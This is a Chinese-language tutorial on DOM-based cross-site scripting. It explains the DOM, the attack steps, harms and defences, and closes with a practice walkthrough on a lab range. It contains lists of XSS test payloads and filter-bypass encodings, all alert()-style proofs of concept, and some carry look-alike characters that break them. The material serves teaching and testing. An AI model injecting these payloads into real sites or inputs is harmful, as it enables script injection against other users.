理论基础
-
DOM型XSS
DOM全称Document Object Model,使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。DOM型XSS是非持久型XSS,且不与后台服务器产生数据交互,而是通过JS修改网页的DOM来执行恶意脚本进行攻击。注意,DOM型XSS与反射型和存储型最大的区别在于,DOM型XSS不经过服务端,全部的攻击过程都在客户端完成。
-
DOM介绍
DOM是HTML和XML文档的编程接口。它不同于把html源码在浏览器窗口当做页面或使用文本编辑器当做纯文本展示,它是对文档的另一种结构化的表述。DOM把文档的所有节点都解析为一个对象,并提供了一些属性和方法来描述它们。
为了更深入的理解DOM型XSS,请先了解什么是DOM:
- DOM型XSS攻击步骤
- 攻击者找到一个可被用户访问的页面,该页面包含有漏洞的 JavaScript 代码或由用户输入直接生成的 DOM 结构。
- 攻击者通过某种方式,例如发送特制的 URL 或通过篡改页面内容的方式,将恶意代码注入到页面中。
- 用户在浏览器中访问被注入恶意代码的页面时,浏览器解析并执行了这些代码,从而触发了攻击。
- 恶意代码在用户的浏览器中修改了页面的 DOM 树结构,通过操作 DOM 元素和属性,攻击者可以实现各种攻击行为,如盗取用户信息、篡改页面内容等。
- XSS攻击示例(GET传参)
-
攻击者针对
www.example.com
的一个正常接收GET传参链接进行测试:http://www.example.com/search?query=pilot
-
将参数值修改为JS弹窗代码进行测试:
http://www.example.com/search?query=<script>alert(123)</script>
-
若该参数未经处理直接拼接到JS中,则会直接执行弹窗代码。若将弹窗代码修改为恶意攻击代码,则会产生严重安全问题。
-
-
XSS攻击的危害
盗取用户登录凭证(Cookie)、劫持用户会话、修改网页内容、网页挂马、恶意重定向、Dos攻击、钓鱼攻击、XSS蠕虫攻击等。
-
XSS攻击常见测试Payload
<script>alert(123)</script> <script>`xss`</script> <script>alert(/xss/)</script> <script>prompt(1);</script> <script>confirm(1);</script> <script>setTimeout(alert(1),0)</script> <script>alert(String.fromCharCode(49,49))</script> <script>onerror=alert;throw 1337</script> <script///>alert(123)</script> <img src=1 onerror=alert(1)> '"><iMg SrC=x OnErRoR=alert(1)>{{7*7}} <img/src="xss"οnerrοr=alert`1`> <input onfocus="alert('xss');"> <input οnblur=alert("xss") autofocus><input autofocus> //竞争焦点,从而触发onblur事件 <input onfocus="alert('xss');" autofocus> <input type="image" formaction=JaVaScript:alert(0)> <svg οnlοad=alert("xss");> <svg/οnlοad=prompt(1);> <iframe οnlοad=alert("xss");></iframe> <IFRAME SRC="javascript:alert(29);"></IFRAME> <video><source onerror="alert(1)"> <audio src=x οnerrοr=alert("xss");> <body onload=prompt(1);> <body background="javascript:alert(1)"> <a onmouseover=alert(1)>M <a onclick=alert(1)>M <a href=javascript:alert(1)>M <a href=javascript:%61%6c%65%72%74%28%31%29>M <a href="javascript:alert('test')">link</a> <div onclick="alert('xss')"> <div onmouseenter="alert('xss')"> <form/action=javascript:alert(22)><input/type=submit> <form onsubmit=alert(23)><button>M
-
XSS攻击常见绕过手法
<script>\u0061\u006C\u0065\u0072\u0074(1)</script> <scr<script>ipt>alert("XSS")</scr<script>ipt> <sCrIpt>alert(/xss/)</ScRipt> %3cscript%3ealert("XSS");%3c/script%3e <x>%00%00%00%00%00%00%00<script>alert(1)</script> %3CsCrIpt%3Ealert(%2Fxss%2F)%3C%2FScRipt%3E %3c%73%43%72%49%70%74%3e%61%6c%65%72%74%28%2f%78%73%73%2f%29%3c%2f%53%63%52%69%70%74%3e %253CsCrIpt%253Ealert(%252Fxss%252F)%253C%252FScRipt%253E
-
通过不常见的标签绕过
<select onfocus=alert(1)></select> <select onfocus=alert(1) autofocus> //通过autofocus属性执行本身的focus事件 <details open OntogGle="alert(1)"> <video><source onerror="alert(1)"> <audio src=x οnerrοr=alert("xss");> <textarea οnfοcus=alert("xss"); autofocus> <marquee onstart=alert(1)>hack the planet</marquee> //Chrome不行,火狐和IE都可以 <style onload=alert(1) /> <object data="javascript:alert(document.domain)">
- XSS攻击的预防
- 输入合法性验证:在服务端对用户输入的数据进行合法性验证,如检查输入是否符合指定格式,排除恶意字符等。
- 转义特殊字符:在网页中用户输入的内容需要使用转义字符,例如将 < 转义成 <,将 > 转义成 >,避免浏览器将这些字符误解为标签等。
- 设置HTTP头部:设置HTTP头部,包括Content-Security-Policy、X-Content-Type-Options、X-XSS-Protection等,来使浏览器拦截来自第三方资源的恶意脚本。
- 使用脚本过滤器:使用脚本过滤器,如Google的Closure Library和jQuery库等,能够对来自用户的数据进行过滤和检查。
- 限制cookie:限制cookie只能在HTTPS连接下使用,并使用HttpOnly标识确保cookie不能通过JavaScript代码访问。
实践学习
漏洞环境以Pilot靶场为例:下载地址与部署教程
-
进入漏洞页面后,在输入框输入跨站脚本payload:
-
发现
<script>
标签无法触发XSS,使用<img>
标签进行测试: -
成功进行XSS,除此标签外,以下标签也可以在本题中XSS:
<input onfocus="alert('xss');">
<iframe onload=alert("xss");></iframe>
<audio src=x onerror=alert("xss");>
<a onclick=alert(1)>M
<div onclick="alert('xss')">
<svg onclick="alert('xss')">
<form/action=javascript:alert(22)><input/type=submit>
- ……